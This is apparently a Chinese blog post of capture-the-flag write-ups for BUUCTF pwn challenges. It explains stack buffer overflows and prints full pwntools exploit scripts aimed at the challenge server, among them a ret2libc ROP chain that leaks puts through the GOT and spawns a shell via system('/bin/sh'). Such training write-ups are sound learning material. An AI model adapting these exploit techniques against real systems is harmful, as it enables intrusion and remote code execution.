• buuctf pwn wp---part1


    pwn难啊

    1、test_your_nc

    测试你nc,不用说,连上就有。

    2、rip

    ida中已经包含了system函数:

     

    溢出,覆盖rip为fun函数,peda计算偏移为23:

    from pwn import *
    
    #context.update(arch = 'i386', os = 'linux', timeout = 1)
    
    p = remote('node3.buuoj.cn',27146)
    #p = process('./pwn1')
    
    flag_addr = 0x40118A
    payload = 0xf*'a' +'a'*8 + p64(flag_addr)
    
    #print p.recv()
    p.sendline(payload)
    p.interactive()

    3、warmup_csaw_2016

    ida中,可以看到,存在溢出

     

     

     使用peda计算偏移为72

    from pwn import *
    
    #context.update(arch = 'i386', os = 'linux', timeout = 1)
    
    p = remote('node3.buuoj.cn',29050)
    #p = process('./warmup_csaw_2016')
    
    catflag_addr = 0x40060d
    
    payload = 'A'*72 + p64(catflag_addr)
    
    #print p.recv()
    p.sendline(payload)
    
    p.interactive()
    exp

    4、pwn1_sctf_2016

    先check一下文件

    文件开启了NX。使用ida查看:

     程序功能:将输入的所有的‘I’转化为you,然后输出“So,[输入]”

    在fgets处,对输入的s进行了限制,不能溢出。但是在strcpy函数中,未对s进行限制,v0对输入的I进行变换后:V0长度=I的个数*3。

    输入的I的长度最多为32,那么V0最长为32*3=96,远大于3C(60),可以进行溢出,需要3C+4 = 64位 = 21个‘I’ + 1个‘A’

    from pwn import *
    
    #context.update(arch = 'i386', os = 'linux', timeout = 1)
    
    p = remote('node3.buuoj.cn',29641)
    #p = process('./pwn1_sctf_2016')
    #p = remote('xxxxx',xxxx)
    
    catflag_addr = 0x8048f0d
    
    payload = 21*'I' +'A'+ p32(catflag_addr)
    
    #print p.recvuntil('yourself:')
    p.sendline(payload)
    
    p.interactive()
    exp

     5、ciscn_2019_c_1

    先check一下,开启了Nx和Relro

    ida中为找到system函数和‘/bin/sh’等字符,需要利用ROP和LibcSearcher库查找libc

    在encrypt()函数中发现gets函数,这个是一个溢出点

     

    可以通过溢出puts函数,泄露出puts函数的地址,找到libc,计算出system和'/bin/sh'的地址,然后执行system(‘/bin/sh’)

    注意encryt()函数会修改我们的payload,所以第一位用''避开。

     偏移为:0x50+8

     1 #!python
     2 #coding:utf-8
     3 
     4 from pwn import *
     5 from LibcSearcher import *
     6 
     7 context.log_level = 'debug'
     8 context.arch = 'amd64'
     9 
    10 elf = ELF('./ciscn_2019_c_1')
    11 puts_got = elf.got['puts']
    12 puts_plt = elf.plt['puts']
    13 main_addr = elf.sym['main']
    14 ret = 0x4006b9
    15 pop_rdi = 0x400c83
    16 sh = 0
    17 lib = 0
    18 
    19 
    20 def main(ip,port,debug):
    21     global sh
    22     global lib
    23     if debug == 1:
    24         sh = process('./ciscn_2019_c_1')
    25     else:
    26         sh = remote(ip,port)
    27 
    28     sh.sendlineafter('choice!
    ','1')
    29     payload = ''+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
    30     sh.sendlineafter('encrypted
    ',payload)
    31     sh.recvline()
    32     sh.recvline()
    33     puts = u64(sh.recvuntil('
    ')[:-1].ljust(8,''))
    34     libc = LibcSearcher('puts',puts)
    35     libcbase = puts - libc.dump('puts')
    36     binsh = libcbase + libc.dump('str_bin_sh')
    37     sys_addr = libcbase + libc.dump('system')
    38     sh.sendlineafter('choice!
    ','1')
    39     payload2 = ''+'a'*(0x50-1+8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
    40     sh.sendlineafter('encrypted
    ',payload2)
    41     sh.interactive()
    42 
    43 if __name__ == '__main__':
    44 
    45     main('node3.buuoj.cn',27020,0)
    exp

    6、ciscn_2019_n_1

    先check一下,开启了NX和RELRO

     查看字符串,能看到,或许是和flag相关

    可以看到危险函数gets,存在溢出,可以通过v1覆盖v2的值从而执行system函数获取flag

     

    通过跟随。可以知道11.28125地址为:0x41348000,偏移为:0x2c

    from pwn import *
    
    #context.update(arch = 'i386', os = 'linux', timeout = 1)
    
    p = remote('node3.buuoj.cn',26929)
    #p = ('./ciscn_2019_n_1')
    
    v2_addr = 0x41348000
    
    payload = 0x2c*'a' + p64(v2_addr)
    
    print p.recv()
    p.sendline(payload)
    
    p.interactive()
    exp

    7、ciscn_2019_en_2

    同上5

    待续。。。。

  • 相关阅读:
    HTML
    HTML协议
    索引原理与慢查询优化
    事务,存储过程
    视图,触发器
    Mysql之单表查询
    剑指offer 面试题4:二维数组中的查找
    剑指offer 面试题3:数组中重复的数字
    剑指offer 面试题2:实现Singleton模式
    剑指offer 面试题1:赋值运算符函数
  • 原文地址:https://www.cnblogs.com/yidianhan/p/12002786.html
Copyright © 2020-2023  润新知